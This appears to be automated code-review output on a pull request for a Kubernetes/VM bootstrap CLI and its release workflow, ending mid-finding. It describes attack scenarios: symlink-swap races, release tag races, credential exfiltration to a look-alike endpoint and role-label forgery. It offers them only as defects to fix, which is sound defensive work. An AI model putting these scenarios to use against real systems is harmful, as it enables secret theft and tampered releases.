stale_owned_taintsexcludes every actual taint whose key equals the desired taint key, rather than excluding only the exact desired taint. Thus a node carryingexedev.dev/pool=pool:PreferNoScheduleand a plan desiringexedev.dev/pool=pool:NoSchedulegets the desired taint applied, but the old effect remains; status sees two owned taints and reports drift, and the node remains more restrictive than the plan. This would be false only if Kubernetes guaranteed no same-key/different-effect taints can coexist orkubectl taint --overwriteremoved all effects, neither of which is assumed by the code's set-based reconciliation. (inline)
⛔ Unresolved from previous review (9) — not approved until fixed
- The state-directory symlink defense is check-then-use and can be bypassed by swapping a checked directory component after
ensure_real_directoriesreturns but before staging/rename. An attacker able to modify the working directory can replace.exedev-k8sor the cluster directory with a symlink in that window; subsequentOpenOptions::openfollows it and writes the secret outside the state directory. The same pathname race affects reads becausesymlink_metadatachecks the final entry while parent components are followed duringFile::open. — The race remains:read_or_create_k3s_tokenandprepare_secret_parentcallensure_real_directories(parent)before later pathname operations, butstage_secretsubsequently opensstagedby path andwrite_secret_filesubsequently callsfs::rename(&staged, path). An attacker can replace.exedev-k8sor the cluster directory after the check, causing those operations to follow the swapped parent and write outside the state directory. Reads likewise still performsymlink_metadata/ensure_real_directorieschecks beforefs::File::open(path)inopen_regular_file, so swapping a parent component in between remains possible. - Plain-text fallback accepts arbitrary lowercase words as VM inventory entries, so non-table prose or malformed API responses can make an existing VM appear present and suppress creation/bootstrap. — The plain-text path still treats any token matching the DNS-label syntax as a VM name.
is_vm_nameonly checks lowercase letters/digits/hyphens and length, so prose such aserror,quota,vm, orunavailablecan still be extracted as inventory entries and suppress creation; no table/row structure or authoritative VM-name validation is required. - k8s_cli/src/manager/process.rs: A failed SSH exchange can retry after the remote script has already started, because retry eligibility checks only whether stdout is non-empty. If the remote side executes a state-changing install that emits only stderr (or the connection drops before the wrapper's stdout marker is delivered), ssh can exit 255 with empty stdout and the same script is resent up to four times. A failed stdin write after partial delivery has the same outcome when ssh exits 255. This violates the no-potential-execution retry invariant and can repeat Tailscale/k3s installation or service changes. — The retry decision still depends solely on
let remote_ran = !output.stdout.is_empty();and retries status-255 attempts when stdout is empty. A remote script that changes state but emits only stderr, loses the wrapper's stdout, or receives only a partially written stdin can therefore still produce empty stdout and be resent. - .github/workflows/release.yml: The verify/confirm sequence does not prevent a tag race during publication: after
verifychecks the tag (lines 164-176), an actor can move it beforesoftprops/action-gh-releaseattaches the archives at lines 197-210. GitHub releases are attached by tag name, so the release can permanently contain binaries built fromBUILT_SHAwhile the tag points elsewhere;confirm(lines 216-237) only fails afterward and performs no deletion, retagging, or release correction. Thus a successful publish followed by a red workflow still leaves a mismatched public release. This is false only if the tag cannot be moved by any actor/token during the verify-to-publish window or if post-publication detection is explicitly considered sufficient rather than preventing the mismatch. — The current workflow still performs a read-only tag check inverify, then publishes by tag name withsoftprops/action-gh-release, and only afterward checks the tag inconfirm. The comments explicitly acknowledge that a tag moved during publication cannot be refused at that instant, andconfirmonly fails after the release has been attached; it does not prevent or repair the mismatched release. Therefore the reported verify-to-publish race remains possible. - k8s_cli/src/manager/mod.rs: New-cluster bootstrap can reuse an already-installed k3s server without verifying that it belongs to the requested cluster. — The defect remains.
create_missing_vmsstill skips any planned node whose name is already in the inventory, and new-cluster bootstrap then callsinstall_k3s_serveron that VM. The current server script only rejects pre-existing agent state; when a k3s service/binary already exists it skips installation and starts the existingk3sservice, without checking its cluster identity, token, or API endpoint. Thus an existing server from another cluster can still be reused. - scripts/release/sync-homebrew-tap.sh: The confinement check is pathname-based and can be bypassed by a concurrent symlink swap of a formula parent directory. After
FORMULA_PARENT_REALis checked, the script callsmktempand latermvusing the original path; if an attacker replaces a checked descendant (for exampletap/Formula/e) with a symlink to an outside directory,mktempcreates the staged file outside the tap andmvwrites there. The target-file symlink check does not protect parent components. This would be false only if the tap directory and all descendants were trusted against concurrent filesystem mutation for the entire run. - Direct JSON arrays of arbitrary strings are treated as VM names without validation, allowing status/error payloads such as
["error", "quota exceeded"](or a serialized arbitrary string list) to become inventory entries and suppress VM creation. — The array branch now filters bare strings throughis_vm_name, but that predicate accepts arbitrary DNS-label-like strings. Thus["error", "quota exceeded"]still addserrorto inventory (while only the second string is rejected), and any serialized list such as["error"]or["quota"]is still treated as a VM listing. The original consequence—an error/status payload creating a false inventory entry and potentially suppressing VM creation—can therefore still occur. - The publish job grants
contents: writeto every step in the job, not only to the GitHub Release action. Consequently the artifact download and tag-verification shell step execute with a write-capablegithub.token; compromise of the download action or a command/tool invoked before the publish step could mutate repository contents/releases, contrary to the scope's least-privilege requirement. This would be disproven only if GitHub Actions supported per-step reduction of the job token here or the preceding steps demonstrably received a separate read-only token, neither of which this workflow configures. — The tag-verification shell step was moved to the separate read-onlyverifyjob, butpublishstill declarespermissions: contents: writeand runsactions/download-artifactbefore the release action in that same job. GitHub Actions job permissions apply to all steps, so the download action still executes with a write-capablegithub.token; the reported least-privilege consequence therefore remains possible. - k8s_cli/src/manager/process.rs: A transport-status-255 retry can rerun a non-idempotent bootstrap after the remote side has already executed it.
capture_remote_ssh_outputretries solely fromoutput.status.code() == Some(255)and ignores whether stdout already contains the wrapper's__EXEDEV_K8S_EXIT__:marker. For example, sshd runs the k3s install through the wrapper, the VM completes and starts k3s, then the client loses the connection before/while receiving the final output; ssh exits 255 and the loop sends the full install script again. This violates the no-duplicate-state-changing-step invariant; the retry is safe only when the exchange establishes that the remote command did not complete (or the operation is explicitly idempotent). This would be disproven if the SSH/remote wrapper contract guaranteed status 255 is emitted only before remote script execution, or if all retried scripts were proven idempotent. — The retry is now suppressed when any stdout was received, which covers a received__EXEDEV_K8S_EXIT__:marker, but it still retries status 255 whenever stdout is empty. A remote bootstrap can execute state-changing commands without producing stdout (and the connection can fail before the wrapper’s final marker is received), leaving!output.stdout.is_empty()true and causing the full script to be resent. Thus the reported duplicate-execution consequence remains possible.
📋 Additional findings from this change (not shown inline) (2)
- 🟠 High User-supplied worker/spare labels can forge the tool's role metadata because only pool/project/task keys are overwritten;
exedev.dev/roleis accepted unchanged. For example, a task withlabels: {exedev.dev/role: control-plane}produces a worker NodeSpec carrying that value, andapply_node_metadataapplies it withkubectl label --overwrite, so a worker is represented as a control-plane node and status/any downstream selector using that owned key can cross the role boundary. The fix is to reserve/reject allexedev.dev/*labels (or at leastrole) rather than treating only the currently generated keys as protected. This is introduced by the new user-label expansion; it would be disproven if validation or reconciliation filtered/rejected reserved role labels, but neither does (FleetFile::validatehas no label-key checks andapply_node_metadataapplies every NodeSpec label). (k8s_cli/src/fleet.rs) — anchor-outside-diff - 🟡 Medium Fleet validation accepts syntactically invalid Kubernetes label keys/values and only discovers the error after VM creation. A valid YAML such as
labels: {"bad key": value}is copied directly intoNodeSpec, thenapply_node_metadatainvokes kubectl withbad key=value;run_bootstrapcreates missing VMs and performs all remote bootstrap before this step, so Kubernetes rejects the label and the command fails while leaving provisioned/bootstrapped resources. This would be disproven if another validation layer validated label syntax beforecreate_missing_vms, butFleetFile::validatehas no label validation and the manager passes labels directly to kubectl. (k8s_cli/src/fleet.rs) — anchor-unreliable
♻️ Previously reported (still present) (1)
- 🟡 Medium A rendered-table
outputis not merged when the outer JSON object already contains any VM name, so inventory loses wrapped table rows. (k8s_cli/src/manager/parsing.rs) — previously-reported
🤖 Prompt for AI agents — all findings (13)
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
## Unresolved from the previous review — these block approval, fix them first (9)
Somewhere in the code under review, address this finding:
The state-directory symlink defense is check-then-use and can be bypassed by swapping a checked directory component after `ensure_real_directories` returns but before staging/rename. An attacker able to modify the working directory can replace `.exedev-k8s` or the cluster directory with a symlink in that window; subsequent `OpenOptions::open` follows it and writes the secret outside the state directory. The same pathname race affects reads because `symlink_metadata` checks the final entry while parent components are followed during `File::open`.
Somewhere in the code under review, address this finding:
Plain-text fallback accepts arbitrary lowercase words as VM inventory entries, so non-table prose or malformed API responses can make an existing VM appear present and suppress creation/bootstrap.
In k8s_cli/src/manager/process.rs, address this finding:
A failed SSH exchange can retry after the remote script has already started, because retry eligibility checks only whether stdout is non-empty. If the remote side executes a state-changing install that emits only stderr (or the connection drops before the wrapper's stdout marker is delivered), ssh can exit 255 with empty stdout and the same script is resent up to four times. A failed stdin write after partial delivery has the same outcome when ssh exits 255. This violates the no-potential-execution retry invariant and can repeat Tailscale/k3s installation or service changes.
In .github/workflows/release.yml, address this finding:
The verify/confirm sequence does not prevent a tag race during publication: after `verify` checks the tag (lines 164-176), an actor can move it before `softprops/action-gh-release` attaches the archives at lines 197-210. GitHub releases are attached by tag name, so the release can permanently contain binaries built from `BUILT_SHA` while the tag points elsewhere; `confirm` (lines 216-237) only fails afterward and performs no deletion, retagging, or release correction. Thus a successful publish followed by a red workflow still leaves a mismatched public release. This is false only if the tag cannot be moved by any actor/token during the verify-to-publish window or if post-publication detection is explicitly considered sufficient rather than preventing the mismatch.
In k8s_cli/src/manager/mod.rs, address this finding:
New-cluster bootstrap can reuse an already-installed k3s server without verifying that it belongs to the requested cluster.
In scripts/release/sync-homebrew-tap.sh, address this finding:
The confinement check is pathname-based and can be bypassed by a concurrent symlink swap of a formula parent directory. After `FORMULA_PARENT_REAL` is checked, the script calls `mktemp` and later `mv` using the original path; if an attacker replaces a checked descendant (for example `tap/Formula/e`) with a symlink to an outside directory, `mktemp` creates the staged file outside the tap and `mv` writes there. The target-file symlink check does not protect parent components. This would be false only if the tap directory and all descendants were trusted against concurrent filesystem mutation for the entire run.
Somewhere in the code under review, address this finding:
Direct JSON arrays of arbitrary strings are treated as VM names without validation, allowing status/error payloads such as `["error", "quota exceeded"]` (or a serialized arbitrary string list) to become inventory entries and suppress VM creation.
Somewhere in the code under review, address this finding:
The publish job grants `contents: write` to every step in the job, not only to the GitHub Release action. Consequently the artifact download and tag-verification shell step execute with a write-capable `github.token`; compromise of the download action or a command/tool invoked before the publish step could mutate repository contents/releases, contrary to the scope's least-privilege requirement. This would be disproven only if GitHub Actions supported per-step reduction of the job token here or the preceding steps demonstrably received a separate read-only token, neither of which this workflow configures.
In k8s_cli/src/manager/process.rs, address this finding:
A transport-status-255 retry can rerun a non-idempotent bootstrap after the remote side has already executed it. `capture_remote_ssh_output` retries solely from `output.status.code() == Some(255)` and ignores whether stdout already contains the wrapper's `__EXEDEV_K8S_EXIT__:` marker. For example, sshd runs the k3s install through the wrapper, the VM completes and starts k3s, then the client loses the connection before/while receiving the final output; ssh exits 255 and the loop sends the full install script again. This violates the no-duplicate-state-changing-step invariant; the retry is safe only when the exchange establishes that the remote command did not complete (or the operation is explicitly idempotent). This would be disproven if the SSH/remote wrapper contract guaranteed status 255 is emitted only before remote script execution, or if all retried scripts were proven idempotent.
## Findings on this change (also posted as inline comments) (1)
In k8s_cli/src/manager/mod.rs around line 821, address this finding:
Metadata reconciliation fails to remove an old owned taint when its key is reused with a different effect. `stale_owned_taints` excludes every actual taint whose key equals the desired taint key, rather than excluding only the exact desired taint. Thus a node carrying `exedev.dev/pool=pool:PreferNoSchedule` and a plan desiring `exedev.dev/pool=pool:NoSchedule` gets the desired taint applied, but the old effect remains; status sees two owned taints and reports drift, and the node remains more restrictive than the plan. This would be false only if Kubernetes guaranteed no same-key/different-effect taints can coexist or `kubectl taint --overwrite` removed all effects, neither of which is assumed by the code's set-based reconciliation.
## Additional findings on this change (not posted inline) (2)
In k8s_cli/src/fleet.rs around line 235, address this finding:
User-supplied worker/spare labels can forge the tool's role metadata because only pool/project/task keys are overwritten; `exedev.dev/role` is accepted unchanged. For example, a task with `labels: {exedev.dev/role: control-plane}` produces a worker NodeSpec carrying that value, and `apply_node_metadata` applies it with `kubectl label --overwrite`, so a worker is represented as a control-plane node and status/any downstream selector using that owned key can cross the role boundary. The fix is to reserve/reject all `exedev.dev/*` labels (or at least `role`) rather than treating only the currently generated keys as protected. This is introduced by the new user-label expansion; it would be disproven if validation or reconciliation filtered/rejected reserved role labels, but neither does (`FleetFile::validate` has no label-key checks and `apply_node_metadata` applies every NodeSpec label).
In k8s_cli/src/fleet.rs, address this finding:
Fleet validation accepts syntactically invalid Kubernetes label keys/values and only discovers the error after VM creation. A valid YAML such as `labels: {"bad key": value}` is copied directly into `NodeSpec`, then `apply_node_metadata` invokes kubectl with `bad key=value`; `run_bootstrap` creates missing VMs and performs all remote bootstrap before this step, so Kubernetes rejects the label and the command fails while leaving provisioned/bootstrapped resources. This would be disproven if another validation layer validated label syntax before `create_missing_vms`, but `FleetFile::validate` has no label validation and the manager passes labels directly to kubectl.
## Previously reported and still present (1)
In k8s_cli/src/manager/parsing.rs around line 34, address this finding:
A rendered-table `output` is not merged when the outer JSON object already contains any VM name, so inventory loses wrapped table rows.
📜 Review details
Model
- gpt-5.6-luna, deepseek-v4-flash
Coverage
- 2 of 9 areas reviewed
| .iter() | ||
| .filter_map(|taint| taint_key(taint)) | ||
| .filter(|key| key.starts_with(NODE_LABEL_PREFIX)) | ||
| .filter(|key| Some(*key) != desired_key) |
There was a problem hiding this comment.
🎯 Correctness | 🟡 Medium
🧩 Analysis
- Change relation: introduced
- Confirmation: independently-verified
- Reachable: ✅
⚠️ Could not diff against the parent revision, so I could not definitively confirm the stale-taint removal logic is new in this PR; it appears to be part of this change (the label-removal sibling has a test at tests.rs:675, the taint-removal sibling has none), but this is inferred rather than git-verified.⚠️ The triggering state — an owned (exedev.dev/) taint sharing its key with the desired taint but with a different effect — is not producible by the tool alone (it only ever writes ...:NoSchedule, see fleet.rs); it requires a same-key/different-effect taint created externally via the documented manual kubectl repair workflow.⚠️ Confirmed from Kubernetes docs that same-key/different-effect taints can coexist on a node and thatkubectl taint ... --overwritereplaces only the exact key+effect taint, leaving other effects of the same key in place; this is why the leftover taint survives.
🤖 Prompt for AI agents
In k8s_cli/src/manager/mod.rs, address this finding:
Metadata reconciliation fails to remove an old owned taint when its key is reused with a different effect. `stale_owned_taints` excludes every actual taint whose key equals the desired taint key, rather than excluding only the exact desired taint. Thus a node carrying `exedev.dev/pool=pool:PreferNoSchedule` and a plan desiring `exedev.dev/pool=pool:NoSchedule` gets the desired taint applied, but the old effect remains; status sees two owned taints and reports drift, and the node remains more restrictive than the plan. This would be false only if Kubernetes guaranteed no same-key/different-effect taints can coexist or `kubectl taint --overwrite` removed all effects, neither of which is assumed by the code's set-based reconciliation.
`ExeDevClient::new` swallowed a builder failure and fell back to `Client::new()`, which follows redirects — the exact behaviour the builder was configured to prevent. It returns a Result now and both callers propagate it. set-version.sh released its lock at the top of cleanup, so a second run could start while the first was still restoring backups. The lock is now released last, on every path. The K3S_TOKEN branch compared a trimmed file against an untrimmed variable, rewriting the file on every run when the value carried a newline, and passed the untrimmed value to the server and the agents. It is normalized once. A response that is not JSON is no longer read as a table. exe.dev answers /exec with JSON, so a non-JSON body is an error page, and turning its words into VM names made a planned VM look like it already existed. A rendered table inside the `output` wrapper is still read, and now merges with outer records instead of being dropped whenever the outer object named anything. Taint reconciliation excluded stale taints by key, so a key kept with a different effect ended up carrying both: `--overwrite` does not clear the other effect. Stale taints are compared whole and removed before the desired one is applied. Fleet files can no longer supply the four labels the tool generates, which let a worker present itself as a control-plane node, and their label keys and values are checked against the Kubernetes grammar during validation rather than by kubectl after every VM has been created and bootstrapped. Only the generated keys are reserved, not the whole prefix: the repo's own fixtures use other `exedev.dev/*` keys for their own bookkeeping.
There was a problem hiding this comment.
Actionable comments posted: 7
🛠️ To have the bot fix these findings, comment @winnowl fix.
🔎 Confirmed findings (7)
- 🟠 High A valid JSON error response whose first output line starts with a syntactically valid VM name is treated as inventory when wrapped in the JSON
outputfield. For example{"output":"vm-1 is unavailable\n"}makesparse_vm_namesreturn{"vm-1"}because the text parser accepts the first token of every line and only rejects prose with non-name first tokens; bootstrap then suppresses creation of the planned VM. This is disproved only if wrapped non-JSON output is guaranteed always to be a table with a header, or the API guarantees errors cannot begin with a VM-shaped token. (inline) - 🟠 High Conflicting records for one VM silently overwrite the SSH destination instead of being rejected or treated as a conflict. For example, an outer record can report
{"vm_name":"worker-1","ssh_dest":"vm+worker-1@exe.dev"}while a later record inoutput/itemsreports the samevm_namewithssh_dest":"vm+other@exe.dev"; traversal order makes the latter destination authoritative, so bootstrap can run the worker's installation script against the wrong VM while still believing it is operating onworker-1. This is disproven only if the exe.dev API contract guarantees that duplicate names can never occur across the merged wrapper/record sources (including intermediary or stale records). (inline) - 🟠 High The AlreadyExists branch treats any pre-existing regular file as the concurrent winner, so an attacker-planted destination (or a replacement after the link failure) is adopted as the cluster token without proving it was created by the competing bootstrap. (inline)
- 🟠 High The workflow only detects a tag move after publication; it does not prevent publishing archives to a tag that changed after verification.
verifyreads and compares the tag, thenpublishseparately invokes the release action by mutabletag_name; a concurrent force-move between those jobs causes the action to attach the already-built archives to the new commit, andconfirmcan only fail after the mismatched release is live. (inline) - 🟠 High A tag can move after
verifypasses but before (or during)softprops/action-gh-release, and publication is still performed against the mutable tag name rather than an immutable commit. In that race the release assets can be attached to a release whose tag points at a different commit;confirmonly makes the workflow red after the bad release already exists and does not delete/repoint the release or assets. (inline) - 🟠 High The release lock is not recoverable after an untrappable termination: a SIGKILL (runner cancellation/host loss) after staging or applying leaves
.set-version.lock,.tmp, and possibly.bakfiles, and the next invocation first refuses the stale lock and, after manually removing it, refuses the stale siblings. If the kill occurred after some moves, the workspace can remain split between versions with no supported automatic restoration path. (inline) - 🟠 High The HTTPS client accepts any string beginning with
https://as a valid API endpoint and sends the bearer token and command to it, so a typo or attacker-controlled--endpointsuch ashttps://collector.example/execexfiltratesEXE_DEV_API_KEY(and commands). The documented API contract is specificallyhttps://exe.dev/exec; scheme-only validation does not establish that destination. This is introduced/exposed by the configurable endpoint plus the new validation, and would be disproven only if callers are guaranteed out-of-band to constrain the endpoint host before this client is reached. (inline)
⛔ Unresolved from previous review (8) — not approved until fixed
- The state-directory symlink defense is check-then-use and can be bypassed by swapping a checked directory component after
ensure_real_directoriesreturns but before staging/rename. An attacker able to modify the working directory can replace.exedev-k8sor the cluster directory with a symlink in that window; subsequentOpenOptions::openfollows it and writes the secret outside the state directory. The same pathname race affects reads becausesymlink_metadatachecks the final entry while parent components are followed duringFile::open. — The defense remains check-then-use:prepare_secret_parentcallsensure_real_directories(parent)and returns, after whichstage_secretopens the pathname-derived staging file withOpenOptions::open; a concurrent replacement of.exedev-k8sor the cluster directory can therefore redirect that open and subsequent rename outside the state directory. Reads likewise still performsymlink_metadatabeforeFile::openwhile parent components are pathname-resolved. - Plain-text fallback accepts arbitrary lowercase words as VM inventory entries, so non-table prose or malformed API responses can make an existing VM appear present and suppress creation/bootstrap. — The top-level non-JSON response path now errors instead of parsing prose, but the defect remains for the rendered-text fallback inside a valid JSON
outputwrapper:parse_vm_namesstill callsparse_vm_names_from_text(output), andis_vm_namestill accepts any lowercase/digit/hyphen DNS-like first word without requiring table structure. For example,{"output":"planned-vm is unavailable\n"}still inventoriesplanned-vmand can suppress its creation. - k8s_cli/src/manager/process.rs: A failed SSH exchange can retry after the remote script has already started, because retry eligibility checks only whether stdout is non-empty. If the remote side executes a state-changing install that emits only stderr (or the connection drops before the wrapper's stdout marker is delivered), ssh can exit 255 with empty stdout and the same script is resent up to four times. A failed stdin write after partial delivery has the same outcome when ssh exits 255. This violates the no-potential-execution retry invariant and can repeat Tailscale/k3s installation or service changes. — The retry gate still derives execution solely from stdout:
let remote_ran = !output.stdout.is_empty();and retries any status-255 attempt when stdout is empty. Thus a remote script that changes state but emits only stderr, or whose stdout marker is lost, can still be resent; a partial stdin write followed by status 255 is likewise still eligible for retry. The currentwrite_resulthandling only suppresses an error when ssh exits successfully and does not make a failed/partial write non-retryable on status 255. - .github/workflows/release.yml: The verify/confirm sequence does not prevent a tag race during publication: after
verifychecks the tag (lines 164-176), an actor can move it beforesoftprops/action-gh-releaseattaches the archives at lines 197-210. GitHub releases are attached by tag name, so the release can permanently contain binaries built fromBUILT_SHAwhile the tag points elsewhere;confirm(lines 216-237) only fails afterward and performs no deletion, retagging, or release correction. Thus a successful publish followed by a red workflow still leaves a mismatched public release. This is false only if the tag cannot be moved by any actor/token during the verify-to-publish window or if post-publication detection is explicitly considered sufficient rather than preventing the mismatch. — The workflow still performs a read-only tag check inverify, then later invokessoftprops/action-gh-releasebytag_namewith a write-capable token; an actor can move the tag after the check and before publication, causing the release assets to be built fromBUILT_SHAwhile the tag names another commit. The laterconfirmcheck only detects this after publication and exits without deleting or correcting the release. - k8s_cli/src/manager/mod.rs: New-cluster bootstrap can reuse an already-installed k3s server without verifying that it belongs to the requested cluster. — The defect can still occur.
create_missing_vmsstill skips any planned VM solely wheninventory.names.contains(&node.name), without inspecting its k3s cluster identity. The new-cluster server path only callsrequire_no_k3s_agent_state_for_server; when an existing k3s server is present, the supervisor branch skips installation (if ! command -v k3s ...) and starts the existingk3sservice, so an already-installed server can still be reused without verification that it belongs to the requested cluster. - scripts/release/sync-homebrew-tap.sh: The confinement check is pathname-based and can be bypassed by a concurrent symlink swap of a formula parent directory. After
FORMULA_PARENT_REALis checked, the script callsmktempand latermvusing the original path; if an attacker replaces a checked descendant (for exampletap/Formula/e) with a symlink to an outside directory,mktempcreates the staged file outside the tap andmvwrites there. The target-file symlink check does not protect parent components. This would be false only if the tap directory and all descendants were trusted against concurrent filesystem mutation for the entire run. - The publish job grants
contents: writeto every step in the job, not only to the GitHub Release action. Consequently the artifact download and tag-verification shell step execute with a write-capablegithub.token; compromise of the download action or a command/tool invoked before the publish step could mutate repository contents/releases, contrary to the scope's least-privilege requirement. This would be disproven only if GitHub Actions supported per-step reduction of the job token here or the preceding steps demonstrably received a separate read-only token, neither of which this workflow configures. — The tag-verification shell step was moved to the read-onlyverifyjob, butpublishstill declarescontents: writeat job scope and the artifact download remains a step in that job. GitHub Actions applies the job token permissions to every step in the job, so a compromised download action still receives a write-capablegithub.token; the specific least-privilege defect therefore remains. - k8s_cli/src/manager/process.rs: A transport-status-255 retry can rerun a non-idempotent bootstrap after the remote side has already executed it.
capture_remote_ssh_outputretries solely fromoutput.status.code() == Some(255)and ignores whether stdout already contains the wrapper's__EXEDEV_K8S_EXIT__:marker. For example, sshd runs the k3s install through the wrapper, the VM completes and starts k3s, then the client loses the connection before/while receiving the final output; ssh exits 255 and the loop sends the full install script again. This violates the no-duplicate-state-changing-step invariant; the retry is safe only when the exchange establishes that the remote command did not complete (or the operation is explicitly idempotent). This would be disproven if the SSH/remote wrapper contract guaranteed status 255 is emitted only before remote script execution, or if all retried scripts were proven idempotent. — The retry is now suppressed when any stdout was received, which covers the reported case where the wrapper's exit marker arrives. However, the current decision is stilllet remote_ran = !output.stdout.is_empty();followed by retrying status 255 when!remote_ran. A remote bootstrap can execute state-changing commands without producing stdout, or its output can be lost before any bytes reach the client, leaving status 255 and empty stdout; the code then resends the non-idempotent script without establishing that execution did not occur.
⚠️ Unverified risks (1)
- The repository's recommended
fleet.example.yamlis rejected by the documented CLI schema, so the advertised starting point cannot be used. ItssparePools.ingress.labelssetsexedev.dev/role: ingress, butFleetFile::validatereservesexedev.dev/role(and other generated keys) and bails before planning or bootstrap. (fleet.example.yaml)
📋 Additional findings from this change (not shown inline) (25)
- 🟠 High SSH fallback does not preserve argument boundaries for command values containing whitespace or shell metacharacters.
run_ssh_fallbackpasses each logical word withcommand.args(words), but OpenSSH concatenates those arguments into a remote command that the remote shell reparses; e.g.exedev-ctl comment vm 'staging copy'is sent ascomment vm staging copyand changes the comment arguments (and values containing;can become shell syntax). The displayedshell_joinquoting is not used for the actual SSH invocation. This is introduced by the new transport path; it would be disproven if the target SSH server were known to receive argv boundaries rather than a reparsed command string, which OpenSSH remote command execution does not provide. (cli/src/ssh.rs) — anchor-outside-diff - 🟠 High Fleet validation does not validate the generated label/taint values derived from project and task map keys, so a syntactically parseable fleet can pass planning and create VMs before Kubernetes metadata application fails. For example, a task key
a/byieldsexedev.dev/task=a/band a poolproject-a/byields a malformed taintexedev.dev/pool=project-a/b:NoSchedule; Kubernetes label values cannot contain/, and the taint value is not safely representable in the kubectl argument. The code validates only user-supplied labels, then inserts project/task/pool names directly into NodeSpec. This is introduced/exposed by the schema expansion accepting arbitrary YAML map keys without corresponding generated-value validation. This would be disproven if an upstream schema/parser constrained project and task names to the Kubernetes-safe grammar, but serde map keys are currently unrestricted. (k8s_cli/src/fleet.rs) — anchor-outside-diff - 🟡 Medium The HTTP client buffers the entire response body without a size limit (
response.text().await), even though the documented/execcontract limits request bodies but does not make response size bounded. With a user-controlled--endpointpointing at an HTTPS server that streams a very large 2xx body, the CLI can consume unbounded memory before printing or failing. This is a concrete denial-of-service risk for the newly exposed custom HTTPS endpoint; it would be false only if an external invariant guarantees a strict small response limit for every endpoint accepted by the CLI, which endpoint validation does not establish. (core/src/client.rs) — anchor-outside-diff - 🟡 Medium Workers and spare nodes never receive the generated
exedev.dev/rolelabel, even thoughexedev.dev/roleis declared a generated identity key and user attempts to set it are rejected. A consumer selectingexedev.dev/role=workeror=sparetherefore cannot distinguish the generated roles, and the metadata/status contract is incomplete for those roles. (k8s_cli/src/fleet.rs) — anchor-outside-diff - 🟡 Medium The ownership reconciler deletes user-supplied labels under
exedev.dev/when they are removed from the fleet file, despite schema validation explicitly allowing non-generated keys under that prefix. For example, a node initially planned withexedev.dev/test-case=sharedis later planned without that label;stale_owned_labelssees the key's prefix and emitsexedev.dev/test-case-, deleting metadata that the contract says to preserve. (k8s_cli/src/manager/mod.rs) — anchor-unreliable - 🟡 Medium The documented
replicasoverride is accepted and presented as the default Kubernetes Pod replica count, but fleet expansion drops it entirely:TaskPool.replicasis explicitly dead code andNodeSpec/FleetPlancarry no replica information. Thus changingprojects.project1.tasks.a.replicasfrom 1 to 100 produces an identical plan and cannot affect any deployment; the example and fixtures describe this field as an allocation/workload input. This is a violated stated schema obligation, unless replicas is intentionally only future metadata and the documentation/comments are changed to say it has no effect. (k8s_cli/src/fleet.rs) — anchor-outside-diff - 🟡 Medium
parse_vm_namescan treat non-VM JSON objects as inventory because it unconditionally accepts a genericname/vmfield without validating that the object is a VM record. For example, a successful wrapper such as{"name":"planned","output":"[{\"vm_name\":\"other\"}]"}(or anydatametadata object with that shape) makesplannedappear present;fetch_inventorythen passes that set tocreate_missing_vms, which skips provisioning the planned VM even though the actual listing does not contain it. The same record can also seed an SSH destination under the wrong node name, becauseparse_ssh_destinationsuses the same generic key set. This is an inventory/provisioning correctness bug: generic compatibility keys should only be used on recognized VM-list records, or the parser should require VM-specific fields/structure before indexing them. It would be disproven if the/exec lscontract guarantees that every object reachable at the parser's root orvms/items/datapaths is a VM record and never includes wrapper/metadata objects with generic name fields. (k8s_cli/src/manager/parsing.rs) — inline-budget - 🟡 Medium Sanitized cluster names can still collide with an ordinary cluster name, causing credential overwrite/adoption across distinct clusters. (k8s_cli/src/manager/state.rs) — inline-budget
- 🟡 Medium A SIGKILL, runner loss, or other untrappable termination after lock creation leaves
.set-version.lockand possibly.tmp/.bakfiles behind. Every later invocation refuses the stale lock and cannot recover or unlock the workspace automatically, so a release checkout can remain permanently unusable without manual deletion and may retain a partially applied version change. (scripts/release/set-version.sh) — inline-budget - 🟡 Medium The Homebrew script creates the explicit formula parent before checking that its resolved path is inside the tap. With
TAP_FORMULA_PATH=/outside/new/formula.rb,mkdir -p "$FORMULA_PARENT"creates directories outsideTAP_REPO_PATHand only then rejects the path, allowing an attacker-controlled or mistaken environment value to mutate arbitrary filesystem locations. (scripts/release/sync-homebrew-tap.sh) — inline-budget - 🟡 Medium An explicitly supplied TAP_FORMULA_PATH is not checked to correspond to FORMULA_NAME. Setting
TAP_FORMULA_PATH=$TAP_REPO_PATH/Formula/other.rbpasses the.rb,.., and symlink checks and causes the script to overwriteother.rbwith anexedev-cliformula, even though the script's contract says it is generating the selected formula. This permits an incorrect or malicious environment configuration to mutate an unrelated tap formula. (scripts/release/sync-homebrew-tap.sh) — inline-budget - 🟡 Medium The Fleet File section presents
cluster.controlPlane.nodes: 1as a valid Version 1 configuration, but the shown configuration omits requiredcluster.nameandcluster.controlPlane.vmPrefix. Deserialization fails before validation because both fields are non-optional. (k8s_cli/README.md) — inline-budget - 🟡 Medium Manual dispatch can validate and build a different source revision than the requested tag, or fail before reaching the tag at all. (.github/workflows/release.yml) — inline-budget
- 🟡 Medium The version lock has no recoverable owner or stale-lock protocol: an untrappable termination leaves the directory lock and the script refuses every subsequent invocation solely because it exists. This is a concrete workspace availability failure after SIGKILL/runner loss, independent of ordinary EXIT/INT/TERM cleanup. (scripts/release/set-version.sh) — inline-budget
- 🟡 Medium Generated metadata is not validated even though it is sent directly to kubectl, so valid YAML can make bootstrap fail after VM creation. Project/task names are unconstrained and are inserted into label values and the pool name is used in the taint value; for example a project key longer than 63 characters or containing
_//producesexedev.dev/project=<invalid>(andexedev.dev/pool=...), causingkubectl label/taintto reject the command. The failure occurs inapply_node_metadata, after the VMs and k3s have already been provisioned, leaving a partially bootstrapped cluster. (k8s_cli/src/fleet.rs) — anchor-unreliable - 🟡 Medium Generic/error JSON objects can be mistaken for VM inventory because any object-level
name/vmstring is accepted without requiring a listing-record shape or a successful status. For example,{"error":"quota exceeded","name":"vm-1"}(or an envelope metadata object withname":"vm-1") insertsvm-1, socreate_missing_vmsskips creation even though the response is not a VM listing; if it also carries destination fields, the same false record can seed an SSH target. This is disproved only if the API contract guarantees error/envelope objects can never contain these keys or if the caller rejects such responses before parsing. (k8s_cli/src/manager/parsing.rs) — inline-budget - 🟡 Medium Duplicate Kubernetes node records are silently last-write-wins. A
